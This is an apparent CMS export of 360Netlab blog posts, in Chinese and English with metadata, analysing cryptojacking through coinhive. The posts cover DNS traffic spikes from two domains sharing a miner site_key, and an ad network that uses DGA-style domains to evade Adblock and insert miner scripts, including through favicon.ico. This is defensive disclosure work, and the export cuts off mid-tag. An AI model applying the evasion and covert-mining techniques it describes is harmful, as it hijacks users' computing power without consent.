《是谁悄悄偷走我的电》是我们的一个系列文章，讨论我们从 DNSMon 看到的网页挖矿的情况。在这个系列的之前的 一 、 二 和 三 中，我们已经介绍了整个Web挖矿的市场情况。当前我们知道，市场中的玩家主要可以分为挖矿网站和内容/流量网站，前者提供挖矿能力、后者提供流量，二者合力利用终端用户的浏览器算力挖矿获利。 当前，挖矿网站中最大的玩家是 coinhive 家族，按照被引用数量计，占据了 58% 的市场份额。这些在我们之前的文章中已经提及。 那么，流量网站的情况如何，有哪些有意思的情况？ Coinhive 的关联域名 DNSMon 有能力分析任意域名的 关联域名，在这个案例中可以拿来分析 coinhive 家族关联的 流量网站。通过分析这些流量网站的 DNS 流量，可以观察到很多有意思的事情。 下面是一个域名访问规模图： 在上图中: * 横轴：代表时间，从 2018-01-31到2018-02-15 * 纵轴：列出 coinhive.com 的关联域名，通过分析其网页内容，我们证实其中大部分有网页挖矿行为 * 散点：代表这些域名的访问规模，面积越大表示当天的访问量越大 图中红框高亮的两个域名引起了我们的兴趣。这两个域名，在2月3号到2月8号这段时间内突然出现，访问量上来就很大、没有爬升期，并且在2月9号之后快速的消失。这些特点显著区别于其他域名相对稳定的流量表现。 * kw.cndqsjlg.com * v.bjztkeji.com 下面是我们对这个案例的分析。 Coinhive 的流量波动 如上图所见，coinhive.com 的流量，在 2018-02-01～2018-02-10 之间有较大的波动，图中分成了四个部分： * 第一次波峰，2月5日 * 第一次波谷，2月6日 * 第二次波峰，2月7日 * 第二次波谷，2月8日 下面我们逐一解释这些异常现象发生的原因。 Coinhive 的第一次波峰 看图中 stage 1 部分，我们会注意到 Coinhive 出现显著波峰，原因是什么？ 注意图中绿色线，一个新的域名 kw.cndqsjlg.com 突然出现，并导致了 coinhive.com 在2月5日的流量波峰： * 该域名的访问曲线，与 coinhive 第一次波峰的访问曲线基本一致 * 该域名的网页内容，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys * 该域名是个全新域名，注册在2月2日，在波峰前约48小时 * 我们估算，该域名为 coinhive 贡献了中国大陆地区18% 左右的流量来源 Coinhive 的第一次波谷 在 2月6日～2月7日 期间，观察图中的 stage 2 部分，很容易注意到 coinhive 出现显著波谷，原因是： * kw.cndqsjlg.com 域名放弃了 coinhive ，而是启用了 自建deepminer 挖矿从而避免 coinhive 的抽成费用 7日以后，该域名在不再活跃。 Coinhive 的第二次波峰 看图中 stage 3 部分，我们会注意到 Coinhive 再度出现显著波峰。原因是什么？ 类似的，新的 v.bjztkeji.com 蓝色线7日在DNS流量中突然出现，并导致了 coinhive.com 在2月7日的流量波峰。 * 新域名的访问曲线，与 coinhive 第二次波峰的访问曲线基本一致 * 新域名的网页内容，经分析确认在利用 coinhive 脚本挖矿，对应的 site_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys，与老的 kw.cndqsjlg.com 一致 * 经分析确认，新域名的流量继承自之前 kw.cndqsjlg.com * 我们估算，该域名为 coinhive 贡献了 中国大陆地区15% 左右的流量来源 Coinhive 的第二次波谷 360安全卫士在 8 日发布文章 批露 了该安全事件，指出两个域名的背后是国内某广告联盟。同时，360安全卫士在其旗下浏览器产品中阻断了上述两个网站未经用户许可的挖矿行为。此次批露后： * kw.cndqsjlg.com 的流量：在7日之前就已经逐渐跌落至地板附近，流量由下者继承 * v.bjztkeji.com 的流量：在9日以后跌落至地板，至今没有反弹 * coinhive.com 的流量：9日之后流量大幅损失，并持续至今。估算其在中国大陆地区的流量下跌了 45%~65% 对应的流量图如下： 并非结束的结束 广告公司参与网页挖矿，是值得整个安全社区警惕的事情。我们在之前的 文章 中，就介绍过一个这样的案例。我们也毫不奇怪，市场上还会有其他玩家。 我们会持续关注整个网页挖矿市场的变化，如果读者们有新的发现，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"《是谁悄悄偷走我的电》是我们的一个系列文章，讨论我们从 DNSMon 看到的网页挖矿的情况。在这个系列的之前的 [**一**](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 、 [**二**](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 和 [**三**](__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/) 中，我们已经介绍了整个Web挖矿的市场情况。当前我们知道，市场中的玩家主要可以分为挖矿网站和内容/流量网站，前者提供挖矿能力、后者提供流量，二者合力利用终端用户的浏览器算力挖矿获利。\n\n当前，挖矿网站中最大的玩家是 coinhive 家族，按照被引用数量计，占据了 58% 的市场份额。这些在我们之前的文章中已经提及。\n\n那么，流量网站的情况如何，有哪些有意思的情况？\n\n#### Coinhive 的关联域名\n\nDNSMon 有能力分析任意域名的 **关联域名**，在这个案例中可以拿来分析 coinhive 家族关联的 **流量网站**。通过分析这些流量网站的 DNS 流量，可以观察到很多有意思的事情。\n\n下面是一个域名访问规模图：\n\n\n在上图中:\n\n - **横轴**：代表时间，从 2018-01-31到2018-02-15\n - **纵轴**：列出 coinhive.com 的关联域名，通过分析其网页内容，我们证实其中大部分有网页挖矿行为\n - **散点**：代表这些域名的访问规模，面积越大表示当天的访问量越大\n\n\n图中红框高亮的两个域名引起了我们的兴趣。这两个域名，在2月3号到2月8号这段时间内突然出现，访问量上来就很大、没有爬升期，并且在2月9号之后快速的消失。这些特点显著区别于其他域名相对稳定的流量表现。\n\n - **kw.cndqsjlg.com** \n - **v.bjztkeji.com** \n\n下面是我们对这个案例的分析。\n\n#### Coinhive 的流量波动\n\n\n\n如上图所见，coinhive.com 的流量，在 2018-02-01～2018-02-10 之间有较大的波动，图中分成了四个部分：\n\n - 第一次波峰，2月5日\n - 第一次波谷，2月6日\n - 第二次波峰，2月7日\n - 第二次波谷，2月8日\n\n下面我们逐一解释这些异常现象发生的原因。\n\n#### Coinhive 的第一次波峰\n看图中 stage 1 部分，我们会注意到 Coinhive 出现显著波峰，原因是什么？\n\n\n\n注意图中绿色线，一个新的域名 kw.cndqsjlg.com 突然出现，并导致了 coinhive.com 在2月5日的流量波峰：\n\n - 该域名的**访问曲线**，与 coinhive 第一次波峰的访问曲线基本一致\n - 该域名的**网页内容**，经分析确认在利用 coinhive 脚本挖矿，对应的 site\\_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys\n - 该域名是个**全新域名**，注册在2月2日，在波峰前约48小时\n - 我们估算，该域名为 coinhive 贡献了**中国大陆地区18%** 左右的流量来源\n\n#### Coinhive 的第一次波谷\n在 2月6日～2月7日 期间，观察图中的 stage 2 部分，很容易注意到 coinhive 出现显著波谷，原因是：\n\n - kw.cndqsjlg.com 域名放弃了 coinhive ，而是启用了 **自建deepminer** 挖矿从而避免 coinhive 的抽成费用\n\n7日以后，该域名在不再活跃。\n\n#### Coinhive 的第二次波峰\n\n看图中 stage 3 部分，我们会注意到 Coinhive 再度出现显著波峰。原因是什么？\n\n\n\n类似的，新的 v.bjztkeji.com 蓝色线7日在DNS流量中突然出现，并导致了 coinhive.com 在2月7日的流量波峰。\n\n - 新域名的**访问曲线**，与 coinhive 第二次波峰的访问曲线基本一致\n - 新域名的**网页内容**，经分析确认在利用 coinhive 脚本挖矿，对应的 site\\_key 是 76kBm8jdLIfdkW6rWAbAs58122fovBys，与老的 kw.cndqsjlg.com 一致\n - 经分析确认，新域名的**流量继承**自之前 kw.cndqsjlg.com \n - 我们估算，该域名为 coinhive 贡献了 **中国大陆地区15%** 左右的流量来源\n\n\n#### Coinhive 的第二次波谷\n\n360安全卫士在 8 日发布文章 [**批露**](https://www.anquanke.com/post/id/97904) 了该安全事件，指出两个域名的背后是国内某广告联盟。同时，360安全卫士在其旗下浏览器产品中阻断了上述两个网站未经用户许可的挖矿行为。此次批露后：\n\n - **kw.cndqsjlg.com 的流量**：在7日之前就已经逐渐跌落至地板附近，流量由下者继承\n - **v.bjztkeji.com 的流量**：在9日以后跌落至地板，至今没有反弹\n - **coinhive.com 的流量**：9日之后流量大幅损失，并持续至今。估算其在中国大陆地区的流量下跌了 45%~65% \n\n对应的流量图如下：\n\n\n#### 并非结束的结束\n\n广告公司参与网页挖矿，是值得整个安全社区警惕的事情。我们在之前的 [**文章**](__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/) 中，就介绍过一个这样的案例。我们也毫不奇怪，市场上还会有其他玩家。\n\n我们会持续关注整个网页挖矿市场的变化，如果读者们有新的发现，可以在 [**twitter**](https://twitter.com/360Netlab) 或者在微信公众号 **360Netlab** 上联系我们。\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

97

post

2018-02-17T06:22:34.000Z

63873b9a8b1c1e0007f52f14

who-is-stealing-my-power-iv-a-case-study-how-one-big-player-could-impact-the-cohive-business-in-china-en

2018-10-06T09:12:59.000Z

public

published

2018-03-09T11:24:24.000Z

A Case Study: How One Big Player Could Impact the Cohive Business in China

<!--kg-card-begin: markdown--><p>&quot;Who is Stealing My Power&quot; is a series of articles on the topic of web mining that we observed from our DNSMon system.</p> <p>As we mentioned in this series of <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon-en/"><strong>one</strong></a>, <a href="__GHOST_URL__/the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage/"><strong>two</strong></a>, and <a href="__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study-en/"><strong>three</strong></a> , the players in the market can be mainly divided into mining sites and content/traffic sites. The former provides mining capabilities and the latter provides traffic.</p> <p>For the mining sites, the coinhive family is currently the largest, accounts for roughly 58% of the market share.</p> <p>A lot of interesting things can be observed by tracking DNS traffic for the coinhive family domain name through DNSMon. For example, the following figure shows the volume distribution of domain name requests that are closely related to coinhive.com. (Time: 2018-01-31 to 2018-02-15)</p> <p><img src="__GHOST_URL__/content/images/2018/03/codomain-dnspai_counts_daily_v2-1.png" alt="" loading="lazy"></p> <p>The domain names in the figure all have close relationship with coinhive.com , and you can see their dns request volumes vary. Now let’s take a close look at two of them <strong>kw.cndqsjlg.com</strong> and <strong>v.bjztkeji.com</strong>. From February 3 to February 8. The volume rapidly increased but quickly disappeared after February 9. Unlike other stable domain names, the appearance of these two domain names is very abrupt.</p> <p>The request volumes of these two domain names shoot up at the beginning and then quickly disappeared. This abnormal behavior caught our attention. So here is our analysis.</p> <h4 id="thefluctuationsofcoinhivecomrequesttraffic">The Fluctuations of Coinhive.com Request Traffic</h4> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_1.png" alt="" loading="lazy"></p> <p>As seen in the above chart, the dns traffic of coinhive.com has some major fluctuations between Feb 1st and 10th. It can be broken into four sections:</p> <ul> <li><strong>The first spike</strong>, Feb 5th</li> <li><strong>The first crash</strong>, Feb 6th</li> <li><strong>The second spike</strong>, Feb 7th</li> <li><strong>The second crash</strong>, Feb 8th</li> </ul> <p>Now let’s exam the causes of these anomalies.</p> <h4 id="thefirstspikeofcoinhivetraffic">The First Spike of Coinhive Traffic</h4> <p>You can easily spot the big spike of coinhive dns traffic in stage 1, what caused this?</p> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_2.png" alt="" loading="lazy"></p> <p>Note the green line, domain <strong>kw.cndqsjlg.com</strong>:</p> <ul> <li>It is a brand-new domain, registered on Feb 2nd, only 48 hours before the peak</li> <li>The web page of this domain has coinhive mining script. The corresponding site_key is <strong>76kBm8jdLIfdkW6rWAbAs58122fovBys</strong></li> <li>The traffic pattern of this domain matched nicely with coinhive.</li> <li>We estimate this domain name contributes ~18% of coinhive source traffic in mainland China</li> </ul> <h4 id="thefirstcoinhivetrafficcrash">The First Coinhive Traffic Crash</h4> <p>During the period stage 2, from Feb 6 to Feb 7, you can see coinhive traffic had a significant dip, the reason?</p> <ul> <li>kw.cndqsjlg.com stopped using coinhive.</li> <li>Instead, it used its <strong>own deepminer</strong> for mining to <strong>avoid 30% Fair Payouts</strong> from coinhive</li> </ul> <p>After the 7th, the domain name was no longer active.</p> <h4 id="thesecondspikeofcoinhivetraffic">The Second Spike of Coinhive Traffic</h4> <p>Now let’s take a look at stage 3, we can see there is another traffic spike for coinhive, the reason?</p> <p><img src="__GHOST_URL__/content/images/2018/03/domain_wave_3.png" alt="" loading="lazy"></p> <p>Similar to above, there is another new domain <strong>v.bjztkeji.com</strong> (blue line) started to show up:</p> <ul> <li>This new domain has the coinhive script running on its website, confirmed by analyzing the web page content</li> <li>The corresponding site_key is 76kBm8jdLIfdkW6rWAbAs58122fovBys, same with the old kw.cndqsjlg.com</li> <li>The traffic pattern of this domain name again matched nicely with the spike traffic of coinhive</li> <li>Further analyze shows the traffic is taken from the old kw.cndqsjlg.com</li> <li>We estimated that this domain name contributed ~15% of coinhive traffic in mainland China</li> </ul> <h4 id="thesecondcoinhivetrafficcrashvs360disclosure">The Second Coinhive Traffic Crash VS 360 Disclosure</h4> <p>On Feb 8, 360 security published an article <a href="https://www.anquanke.com/post/id/97904">disclosed</a> this security case, pointed out the company behind was a domestic adnetwork and blocked the above behavior in our browser products. Correspondingly:</p> <ul> <li>Traffic of kw.cndqsjlg.com: gradually fell to the floor</li> <li>Traffic of v.bjztkeji.com: dropped to the floor after the 9th</li> <li>Traffic of coinhive.com : substantially lower after 9th and keeps that way till this day. Traffic volume in last week is about 45% ~ 65% of the peak, in mainland China</li> </ul> <p>The corresponding traffic figure:<br> <img src="__GHOST_URL__/content/images/2018/03/domain_wave_4.png" alt="" loading="lazy"></p> <h4 id="nottheend">Not the end</h4> <p>Ad network involved cryptojacking is something really worth noting. In our previous <a href="__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/">article</a>, we published a similar case regarding to an US company, we will not be surprised there are other players in the market that are doing similar thing.</p> <p>We will continue to monitor the web mining market. If readers have new discoveries, feel free to contact us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>.</p> <!--kg-card-end: markdown-->

"Who is Stealing My Power" is a series of articles on the topic of web mining that we observed from our DNSMon system. As we mentioned in this series of one, two, and three , the players in the market can be mainly divided into mining sites and content/traffic sites. The former provides mining capabilities and the latter provides traffic. For the mining sites, the coinhive family is currently the largest, accounts for roughly 58% of the market share. A lot of interesting things can be observed by tracking DNS traffic for the coinhive family domain name through DNSMon. For example, the following figure shows the volume distribution of domain name requests that are closely related to coinhive.com. (Time: 2018-01-31 to 2018-02-15) The domain names in the figure all have close relationship with coinhive.com , and you can see their dns request volumes vary. Now let’s take a close look at two of them kw.cndqsjlg.com and v.bjztkeji.com. From February 3 to February 8. The volume rapidly increased but quickly disappeared after February 9. Unlike other stable domain names, the appearance of these two domain names is very abrupt. The request volumes of these two domain names shoot up at the beginning and then quickly disappeared. This abnormal behavior caught our attention. So here is our analysis. The Fluctuations of Coinhive.com Request Traffic As seen in the above chart, the dns traffic of coinhive.com has some major fluctuations between Feb 1st and 10th. It can be broken into four sections: * The first spike, Feb 5th * The first crash, Feb 6th * The second spike, Feb 7th * The second crash, Feb 8th Now let’s exam the causes of these anomalies. The First Spike of Coinhive Traffic You can easily spot the big spike of coinhive dns traffic in stage 1, what caused this? Note the green line, domain kw.cndqsjlg.com: * It is a brand-new domain, registered on Feb 2nd, only 48 hours before the peak * The web page of this domain has coinhive mining script. The corresponding site_key is 76kBm8jdLIfdkW6rWAbAs58122fovBys * The traffic pattern of this domain matched nicely with coinhive. * We estimate this domain name contributes ~18% of coinhive source traffic in mainland China The First Coinhive Traffic Crash During the period stage 2, from Feb 6 to Feb 7, you can see coinhive traffic had a significant dip, the reason? * kw.cndqsjlg.com stopped using coinhive. * Instead, it used its own deepminer for mining to avoid 30% Fair Payouts from coinhive After the 7th, the domain name was no longer active. The Second Spike of Coinhive Traffic Now let’s take a look at stage 3, we can see there is another traffic spike for coinhive, the reason? Similar to above, there is another new domain v.bjztkeji.com (blue line) started to show up: * This new domain has the coinhive script running on its website, confirmed by analyzing the web page content * The corresponding site_key is 76kBm8jdLIfdkW6rWAbAs58122fovBys, same with the old kw.cndqsjlg.com * The traffic pattern of this domain name again matched nicely with the spike traffic of coinhive * Further analyze shows the traffic is taken from the old kw.cndqsjlg.com * We estimated that this domain name contributed ~15% of coinhive traffic in mainland China The Second Coinhive Traffic Crash VS 360 Disclosure On Feb 8, 360 security published an article disclosed this security case, pointed out the company behind was a domestic adnetwork and blocked the above behavior in our browser products. Correspondingly: * Traffic of kw.cndqsjlg.com: gradually fell to the floor * Traffic of v.bjztkeji.com: dropped to the floor after the 9th * Traffic of coinhive.com : substantially lower after 9th and keeps that way till this day. Traffic volume in last week is about 45% ~ 65% of the peak, in mainland China The corresponding traffic figure: Not the end Ad network involved cryptojacking is something really worth noting. In our previous article, we published a similar case regarding to an US company, we will not be surprised there are other players in the market that are doing similar thing. We will continue to monitor the web mining market. If readers have new discoveries, feel free to contact us on twitter.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\"Who is Stealing My Power\" is a series of articles on the topic of web mining that we observed from our DNSMon system.\n\nAs we mentioned in this series of [**one**](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon-en/), [**two**](__GHOST_URL__/the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage/), and [**three**](__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study-en/) , the players in the market can be mainly divided into mining sites and content/traffic sites. The former provides mining capabilities and the latter provides traffic. \n\nFor the mining sites, the coinhive family is currently the largest, accounts for roughly 58% of the market share.\n\nA lot of interesting things can be observed by tracking DNS traffic for the coinhive family domain name through DNSMon. For example, the following figure shows the volume distribution of domain name requests that are closely related to coinhive.com. (Time: 2018-01-31 to 2018-02-15)\n\n\n\nThe domain names in the figure all have close relationship with coinhive.com , and you can see their dns request volumes vary. Now let’s take a close look at two of them **kw.cndqsjlg.com** and **v.bjztkeji.com**. From February 3 to February 8. The volume rapidly increased but quickly disappeared after February 9. Unlike other stable domain names, the appearance of these two domain names is very abrupt.\n\nThe request volumes of these two domain names shoot up at the beginning and then quickly disappeared. This abnormal behavior caught our attention. So here is our analysis.\n\n#### The Fluctuations of Coinhive.com Request Traffic\n\n\n\nAs seen in the above chart, the dns traffic of coinhive.com has some major fluctuations between Feb 1st and 10th. It can be broken into four sections:\n\n - **The first spike**, Feb 5th\n - **The first crash**, Feb 6th\n - **The second spike**, Feb 7th\n - **The second crash**, Feb 8th\n\nNow let’s exam the causes of these anomalies.\n\n#### The First Spike of Coinhive Traffic\n\nYou can easily spot the big spike of coinhive dns traffic in stage 1, what caused this?\n\n\n\nNote the green line, domain **kw.cndqsjlg.com**:\n\n - It is a brand-new domain, registered on Feb 2nd, only 48 hours before the peak\n - The web page of this domain has coinhive mining script. The corresponding site_key is **76kBm8jdLIfdkW6rWAbAs58122fovBys**\n - The traffic pattern of this domain matched nicely with coinhive.\n - We estimate this domain name contributes ~18% of coinhive source traffic in mainland China\n\n#### The First Coinhive Traffic Crash \n\nDuring the period stage 2, from Feb 6 to Feb 7, you can see coinhive traffic had a significant dip, the reason?\n\n - kw.cndqsjlg.com stopped using coinhive.\n - Instead, it used its **own deepminer** for mining to **avoid 30% Fair Payouts** from coinhive \n\nAfter the 7th, the domain name was no longer active.\n\n#### The Second Spike of Coinhive Traffic\n\nNow let’s take a look at stage 3, we can see there is another traffic spike for coinhive, the reason?\n\n\n\nSimilar to above, there is another new domain **v.bjztkeji.com** (blue line) started to show up:\n\n - This new domain has the coinhive script running on its website, confirmed by analyzing the web page content\n - The corresponding site\\_key is 76kBm8jdLIfdkW6rWAbAs58122fovBys, same with the old kw.cndqsjlg.com\n - The traffic pattern of this domain name again matched nicely with the spike traffic of coinhive\n - Further analyze shows the traffic is taken from the old kw.cndqsjlg.com\n - We estimated that this domain name contributed ~15% of coinhive traffic in mainland China\n\n#### The Second Coinhive Traffic Crash VS 360 Disclosure\n\nOn Feb 8, 360 security published an article [disclosed](https://www.anquanke.com/post/id/97904) this security case, pointed out the company behind was a domestic adnetwork and blocked the above behavior in our browser products. Correspondingly:\n\n - Traffic of kw.cndqsjlg.com: gradually fell to the floor\n - Traffic of v.bjztkeji.com: dropped to the floor after the 9th\n - Traffic of coinhive.com : substantially lower after 9th and keeps that way till this day. Traffic volume in last week is about 45% ~ 65% of the peak, in mainland China\n\nThe corresponding traffic figure:\n\n\n#### Not the end\n\nAd network involved cryptojacking is something really worth noting. In our previous [article](__GHOST_URL__/who-is-stealing-my-power-iii-an-adnetwork-company-case-study/), we published a similar case regarding to an US company, we will not be surprised there are other players in the market that are doing similar thing.\n\nWe will continue to monitor the web mining market. If readers have new discoveries, feel free to contact us on [**twitter**](https://twitter.com/360Netlab)."}]],"sections":[[10,0]],"ghostVersion":"3.0"}

98

post

2018-02-23T10:21:41.000Z

63873b9a8b1c1e0007f52f15

who-is-stealing-my-power-iii-an-adnetwork-company-case-study

2018-10-06T09:03:28.000Z

public

published

2018-02-24T03:23:46.000Z

是谁悄悄偷走我的电（三）：某在线广告网络公司案例分析

<!--kg-card-begin: markdown--><p>我们最近注意到，某在线网络广告商会将来自 coinhive 的javascript网页挖矿程序，插入到自己广告平台中，利用最终用户的浏览器算力，挖取比特币获利。</p> <p>P公司是一家在线广告网络公司，负责完成广告和广告位之间的匹配，并从中获取收入；Adblock 是一种浏览器插件，用户可以利用来屏蔽广告。显然，上述两者之间有长久的利益冲突和技术对抗。</p> <p>在2017-09之前，我们就注意到 P公司 会利用类似 DGA 的技术，生成一组看似随机的域名，绕过 adblock，从而保证其投放的广告能够到达最终用户，我们将这组域名称为 DGA.popad。</p> <p>从2017-12开始，我们观察到P公司开始利用这些 DGA.popad 域名，插入挖矿代码牟利。</p> <p>广告网络公司与广告屏蔽插件之间的对抗并不是新鲜事，但是广告网络公司参与到眼下流行的网页挖矿，这值得引起我们的注意。</p> <h4 id="p">P公司背景简介</h4> <p>P公司是一家在线广告网络（adnetwork）公司。所谓在线网络公司，其主要工作是连接广告主（advertiser）和媒体（publisher），聚合publisher提供的广告位，并与广告主的需求进行匹配。它们的关系可以从下图简单说明，更多关于Adnetwork的信息请参考[1]：</p> <p><img src="__GHOST_URL__/content/images/2018/02/ads-network.png" alt="" loading="lazy"></p> <p>Adblock是一个浏览器广告屏蔽插件。由于可以用来屏蔽广告，所以与上述在线广告网络公司是有利益冲突的。但是因为屏蔽不必要的广告可以提高用户体验，所以也获得了相当多的用户，按照adblock 在Chrome商店中的说法，其用户数量超过4千万。</p> <p><img src="__GHOST_URL__/content/images/2018/02/ad-block.png" alt="" loading="lazy"></p> <p>利益冲突带来了技术对抗，不同广告商采用了多种技术来对抗adblock[2]及其同类工具。P公司的做法是利用一组看似随机的域名，我们在2017-09以前注意到了这一点，并称其为DGA.popad。</p> <p>DGA.popad是利用类似DGA（Domain Generation Algorithm）的技术生成的，不容易被adblock之类的工具拦截[3]。部分域名如下表所示，其泛化表达形式为[a-z]{8,14}.(bid|com)。github上有人开源了一个项目[4]，列出P公司正在使用的DGA域名，可以导入到adblock。</p> <pre><code>zyleqnzmvupg.com zylokfmgrtzv.com zymaevtin.bid zzevmjynoljz.bid zziblxasbl.bid zzvjaqnkq.bid zzwzjidz.bid </code></pre> <p>有运维pDNS的朋友可以试试看，你们的库中应该存在大量的DGA.popad。</p> <h4 id="201712pdgapopad">注意到至少从2017-12开始，P公司开始利用 DGA.popad挖矿</h4> <p>从2017-Q4开始，网页挖矿逐渐成为安全社区关注的焦点。网页挖矿的本质是利用某些网站提供的javascript脚本，利用用户终端浏览器算力获取比特币或者其他代币。有若干大站被报道牵涉其中，比如中国的南方周末[5]以及知名的海盗湾[6]。</p> <p>DGA.popad 系列域名，在2017-09被我们初次注意到时，是可以确定并没有参与网页挖矿的。但是从2017-12，我们对全网网页挖矿情况做度量时（见之前文章 是谁悄悄偷走我的电 <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/">一</a> 和 <a href="__GHOST_URL__/https-blog-netlab-360-com-the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage-cn/">二</a> ），发现这些域名开始参与挖矿。</p> <p>被我们注意到的原因也很简单，这些域名与coinhive.com系列域名有紧密的关系，可以确认投递了coinhive.min.js挖矿程序，并且在alexa域名排名中的位置比较高。熟悉我们的读者还记得，我们在之前的文章里已经提到，alexa Top 30万域名中挖矿相关的网站已经被我们监控。</p> <p>依据censys的数据，这些域名的 alexa 排名分别是：</p> <pre><code>1999 arfttojxv.com 2011 vimenhhpqnb.com 2071 ftymjfywuyv.com 2192 wpqmptpavn.com 2442 buhxsaifjxupaj.com 2965 jeksffryglas.com 3026 wkmuxmlk.com </code></pre> <p><img src="__GHOST_URL__/content/images/2018/02/web-mining-sites-with-dga-popad-highlighted.png" alt="" loading="lazy"></p> <p>为了确认上述挖矿事实，我们尝试了访问 DGA.popad 系列域名之一 jccdpudtb.bid。在打开页面的瞬间，CPU利用已经飙升到100%，如下图所示。</p> <p><img src="__GHOST_URL__/content/images/2018/02/cpu_usage_when_open_jccdpudtb.bid.png" alt="" loading="lazy"></p> <p>并且我们确认，访问 DGA.popad 网站的favicon.ico文件时，实际返回的，也是挖矿脚本。如下图所示：</p> <p><img src="__GHOST_URL__/content/images/2018/02/favicon_also_used_to_diliver_web_miner.png" alt="" loading="lazy"></p> <h4 id="dgapopad">DGA.popad 系列网站网页挖矿的流量来源</h4> <p>由于广告网络涉及到众多不同利益相关方，事件分析过程需要完整且精确。第一步需要<br> 搞清楚挖矿相关的流量来源。我们利用 DNSmon 系统，查找了过去两个月DGA.popad的历史关联域名，发现数据源主要集中在色情站以及bt下载资源站。具体的关联域名如下：</p> <pre><code>www.javjunkies.com hitomi.la btdb.to ouo.io www.torrentkitty.tv www.jkforum.net rarbg.is hpjav.com theporndude.com www.veporn.live www.thisav.com watchjavonline.com syndication.exosrv.com svscomics.com openload.co ancensored.com www.javdoe.com torrentsgroup.com ouo.press javfor.me img.yt www.viralvideos.pro www.jisutiyu.com www.javqd.com www.freebunker.com www5.javmost.com v.pptv.com syndication.exdynsrv.com sukebei.nyaa.si streamango.com sharemods.com popjav.com ho.lazada.com.my fmovies.pe faptitans.com dzyqqwixizp.com dailyuploads.net </code></pre> <h4 id="">详细流程分析</h4> <p>我们以上面列表中的第一个域名www.javjunkies.com来实际看看整个数据流程是怎么样的。由于DGA.popad 和 adblock 之间存在对抗，是否开启adblock，对应的流程有细微的区别，下面我们分两节分别描述其过程。</p> <h6 id="adblock">不开启adblock</h6> <p>其流程如下：</p> <ul> <li> <h1 id="1237wwwjavjunkiescommainp">1 第237帧开始访问www.javjunkies.com/main/，这是一个色情站，其页面上的广告位代码会引导用户浏览器访问P公司旗下网站。</h1> </li> <li> <h1 id="2254servepopadsnetp">2 第254帧开始请求serve.popads.net，这是P公司的标准做法。这一帧里会获取对应广告的链接。</h1> </li> <li> <h1 id="3base64268268uri268uricoinhiveminjs">3 上述获得的广告链链接是经过base64编码的，在浏览器端被解码后，我们可以看到在268帧发出了对该广告链接的请求。268帧是从获取到的广告链接中得到最终的广告URI，从268帧的应答内容来看（红框高亮处），除了获取到最终广告的URI之外，另外附带了一个获取coinhive.min.js脚本并执行的过程，在用户不知情的情况下开始利用广告网络来挖矿。</h1> </li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/adblock-disabled--1-from-javajunkies.com-to-popads.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/adblock-disabled--2-from-popads-get-web-miner.png" alt="" loading="lazy"></p> <h6 id="adblock">开启adblock</h6> <p>开启adblock的流程和不开启adblock的流程类似，不同只是承载广告功能的域名由serve.popads.net转为tncexvzu.com（DGA.popad 系列域名之一）。整个流程如下：</p> <ul> <li> <h1 id="1449wwwjavjunkiescom">1 第449帧，再一次开始访问www.javjunkies.com</h1> </li> <li> <h1 id="2adblockpservepopadsnetjsdgapopadtncexvzucom486">2 由于开启了adblock，所以P公司的标准网站serve.popads.net会被屏蔽，但是广告位上的js代码会使用DGA.popad 系列域名之一tncexvzu.com来替代。我们可以在第486帧观察到这一点。除此之外的其他功能都与上一节中的描述类似。</h1> </li> <li> <h1 id="3495">3第495帧里，浏览器开始加载广告，并随即执行广告后附加的挖矿脚本代码。这里也与上一节情况基本一致。</h1> </li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/adblock-enabled--1-from-javajunkies.com-to-popads.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/adblock-enabled--2-from-popads-get-web-miner.png" alt="" loading="lazy"></p> <h4 id="dgapopad">DGA.popad 系列网站的挖矿的影响范围和挖矿收益</h4> <p>影响范围：</p> <ul> <li>上述P公司利用广告网络挖矿盈利的行为至少从2017年12月就开始了</li> <li>受此影响的用户范围较大，因为对应的 DGA.popad 网站的alexa排名较高</li> <li>但是无法做定量的估算，这是因为，虽然我们可以利用 DNSMon 确认有哪些网站的流量会流经 DGA.popad 和 serve.popads.net 网站，但是我们注意到并非所有的流量中都会被插入网页挖矿程序，而且目前我们尚不确定具体哪些流量会被选中、哪些被过滤</li> </ul> <p>挖矿收益不确定：</p> <ul> <li>T3z562MP2Zg1lIa7RUJy19d67woeZmJJ，这个是我们在分析过程中最常遇到的P公司所使用的 site_key，coinhive会把挖矿收益都计入这个账户</li> <li>但是由于coinhive和门罗币的机制，无法查询到这个site key对应的钱包地址，也无法进一步确认目前的收益。</li> </ul> <p>后续我们会继续关注此类域名的行为，如果您有这方面更详细的数据，也请欢迎向我们反馈。</p> <h4 id="">参考链接</h4> <ol> <li><a href="https://en.wikipedia.org/wiki/Advertising_network">https://en.wikipedia.org/wiki/Advertising_network</a></li> <li><a 